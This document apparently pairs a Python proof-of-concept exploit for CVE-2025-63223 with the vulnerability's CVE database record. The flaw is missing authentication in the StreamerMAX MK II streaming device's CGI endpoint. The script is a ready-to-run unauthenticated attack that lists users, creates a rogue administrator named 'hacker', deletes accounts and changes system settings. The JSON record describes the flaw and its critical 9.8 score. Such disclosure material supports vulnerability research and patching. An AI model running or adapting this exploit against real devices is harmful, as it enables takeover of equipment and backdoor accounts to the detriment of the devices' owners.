CVE-2025-63223

import requests # CVE-2025-63223 PoC - Axel StreamerMAX MK II Broken Access Control # Target: /cgi-bin/gstFcgi.fcgi endpoint TARGET = "http://<target-ip>" ENDPOINT = "/cgi-bin/gstFcgi.fcgi" def list_users(): """List all user accounts on the device""" payload = { "command": "list_users", "type": "user_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] User List Response: {response.text}") return response def create_admin(username, password): """Create new administrator account""" payload = { "command": "create_admin", "username": username, "password": password, "type": "user_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] Create Admin Response: {response.text}") return response def delete_user(username): """Delete specified user account""" payload = { "command": "delete_user", "username": username, "type": "user_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] Delete User Response: {response.text}") return response def modify_settings(setting_name, value): """Modify system settings""" payload = { "command": "modify_settings", "setting": setting_name, "value": value, "type": "config_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] Modify Settings Response: {response.text}") return response if __name__ == "__main__": print("[*] CVE-2025-63223 PoC - StreamerMAX MK II Broken Access Control") print("[*] Target:", TARGET) # Step 1: List users print("\n[*] Step 1: Listing user accounts...") list_users() # Step 2: Create new admin print("\n[*] Step 2: Creating new administrator...") create_admin("hacker", "P@ssw0rd123") # Step 3: Modify settings print("\n[*] Step 3: Modifying system settings...") modify_settings("admin_access", "enabled")

{"cve": {"id": "CVE-2025-63223", "sourceIdentifier": "[email protected]", "published": "2025-11-19T16:15:48.310", "lastModified": "2026-01-15T19:38:38.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Axel Technology StreamerMAX MK II devices (firmware versions 0.8.5 to 1.0.3) are vulnerable to Broken Access Control due to missing authentication on the /cgi-bin/gstFcgi.fcgi endpoint. Unauthenticated remote attackers can list user accounts, create new administrative users, delete users, and modify system settings, leading to full compromise of the device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:axeltechnology:streamermax_mk_ii_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.8.5", "versionEndIncluding": "1.0.3", "matchCriteriaId": "73253430-5485-479B-A7D9-E9C708F4DB85"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:axeltechnology:streamermax_mk_ii:-:*:*:*:*:*:*:*", "matchCriteriaId": "2DAC51C8-C9DD-43B6-B826-26D7BEBA2DCE"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63223_Axel%20Technology%20StreamerMAX%20MK%20II%20-%20Broken%20Access%20Control", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}, {"url": "https://www.axeltechnology.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63223_Axel%20Technology%20StreamerMAX%20MK%20II%20-%20Broken%20Access%20Control", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}]}}